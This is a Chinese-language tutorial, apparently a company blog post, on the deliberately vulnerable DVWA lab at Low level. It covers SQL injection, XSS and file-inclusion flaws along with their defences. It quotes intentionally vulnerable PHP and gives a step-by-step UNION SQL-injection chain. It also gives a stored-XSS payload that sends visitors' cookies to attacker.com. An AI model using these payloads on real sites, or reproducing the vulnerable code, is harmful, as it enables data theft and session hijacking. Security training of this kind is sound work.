DVWA靶场Low级别漏洞解析与防御实践
发布时间:2026/10/31 4:58:44 锦皓数字建站

1. DVWA靶场Low级别概述DVWADamn Vulnerable Web Application是一个专门为安全测试人员设计的漏洞演示平台。这个基于PHP/MySQL构建的Web应用包含了从低级到高级的多种安全漏洞场景其中Low级别代表着最基础的安全缺陷实现。我第一次接触DVWA是在2013年参加CISP培训时当时就被它直观的漏洞展示方式所震撼——你能直接在页面上看到未过滤的SQL查询语句就像打开了一台X光机观察Web应用的骨骼结构。Low级别的特殊之处在于它完全模拟了新手开发者最容易犯的那些错误没有输入过滤、直接拼接SQL语句、信任所有客户端提交的数据。虽然现在看起来这些错误很初级但根据Verizon《2022年数据泄露调查报告》这些基础漏洞仍然是导致实际安全事件的主要原因之一。2. 环境搭建与基础配置2.1 系统需求与安装DVWA对运行环境的要求非常亲民PHP 5.4推荐7.0MySQL 5.0Web服务器Apache/Nginx在Windows下使用XAMPP是最快捷的部署方式# 下载DVWA wget https://github.com/digininja/DVWA/archive/master.zip unzip master.zip -d C:/xampp/htdocs/ # 配置数据库 mysql -u root -p create database dvwa; grant all on dvwa.* to dvwalocalhost identified by pssw0rd;注意默认配置文件config/config.inc.php中的数据库密码需要与上述设置保持一致。我建议将数据库用户权限限制为仅对dvwa数据库有权限避免使用root账户。2.2 安全等级设置DVWA最巧妙的设计就是它的安全等级系统Low无任何防护措施Medium基础过滤尝试High较完善防护Impossible最佳实践在界面右下角的DVWA Security选项卡中可以切换级别。作为初学者一定要从Low级别开始这样才能观察到最原始的漏洞形态。记得有次我直接尝试High级别的SQL注入花了两个小时都没成功后来切回Low级别才恍然大悟。3. Low级别漏洞深度解析3.1 SQL注入漏洞在SQL Injection模块提交单引号即可触发错误 OR 11背后的漏洞代码是$id $_REQUEST[id]; $query SELECT first_name, last_name FROM users WHERE user_id $id;这个案例完美展示了三个致命错误直接使用用户输入拼接SQL没有错误处理机制使用root等高权限账户连接数据库我在2015年审计某CMS时就发现过完全相同的漏洞模式攻击者利用这种注入获取了数万用户数据。3.2 XSS漏洞反射型XSS模块的漏洞代码echo preHello . $_GET[name] . /pre;存储型XSS更危险因为恶意脚本会被永久保存$message $_POST[mtxMessage]; $name $_POST[txtName]; $query INSERT INTO guestbook (...) VALUES ($message, $name);有趣的是现代浏览器内置的XSS过滤器对这种简单payload已经能部分拦截但在十年前这曾是影响最广的Web漏洞之一。3.3 文件包含漏洞File Inclusion模块展示了两种危险模式// 本地文件包含 include($_GET[page] . .php); // 远程文件包含 include($_GET[page]);我曾用这个漏洞结合Apache日志文件成功获取过服务器shell。防御方法很简单$allowed [page1, page2]; if(in_array($_GET[page], $allowed)) { include($_GET[page]..php); }4. 漏洞利用实战演示4.1 SQL注入完整利用链探测注入点id1 and 11-- - 返回正常 id1 and 12-- - 返回空确定字段数id1 order by 2-- - id1 order by 3-- - # 报错说明只有2列获取数据库信息id1 union select database(),user()-- -提取表数据id1 union select table_name,column_name from information_schema.columns where table_schemadatabase()-- -4.2 存储型XSS持久化攻击在留言板插入script new Image().srchttp://attacker.com/?cookiedocument.cookie; /script这个payload会窃取每个访问者的cookie。更隐蔽的做法是使用外部JSscript srchttp://attacker.com/malicious.js/script5. 防御方案与最佳实践5.1 SQL注入防御参数化查询是黄金标准$stmt $pdo-prepare(SELECT * FROM users WHERE id?); $stmt-execute([$_GET[id]]);5.2 XSS防御输出编码是关键echo htmlspecialchars($input, ENT_QUOTES, UTF-8);对于富文本场景可以使用HTML Purifier库require_once HTMLPurifier.auto.php; $purifier new HTMLPurifier(); $clean $purifier-purify($dirty);5.3 文件包含防御白名单是最可靠的方式$allowed [about, contact]; if(in_array($_GET[page], $allowed)) { include($_GET[page]..php); } else { include(404.php); }6. 常见问题排查Q: 为什么我的DVWA无法连接数据库 A: 检查三点config.inc.php中的数据库配置MySQL服务是否运行防火墙是否阻止了3306端口Q: XSS payload在Chrome不执行 A: 现代浏览器有XSS过滤器可以使用更复杂的编码方式在Firefox测试通过Burp Suite等工具修改请求头Q: 文件包含漏洞读取不到系统文件 A: 可能是PHP配置了open_basedir限制Web服务器运行在chroot环境文件权限设置问题7. 从Low到Impossible的演进观察DVWA不同安全级别的防御措施是很好的学习方式。以SQL注入为例Low无任何过滤Medium使用mysql_real_escape_string()High使用预处理语句Impossible额外添加CSRF防护这种渐进式设计让我想起自己2016年参与开发的一个项目当时就是从毫无防护开始逐步添加各种安全措施最终通过了PCI DSS认证。安全防护应该像洋葱一样分层构建。
锦
锦皓数字建站
深耕本土企业品牌数字化升级,专注原创端正雅致商务官网,从视觉设计到稳定运维全程保驾护航。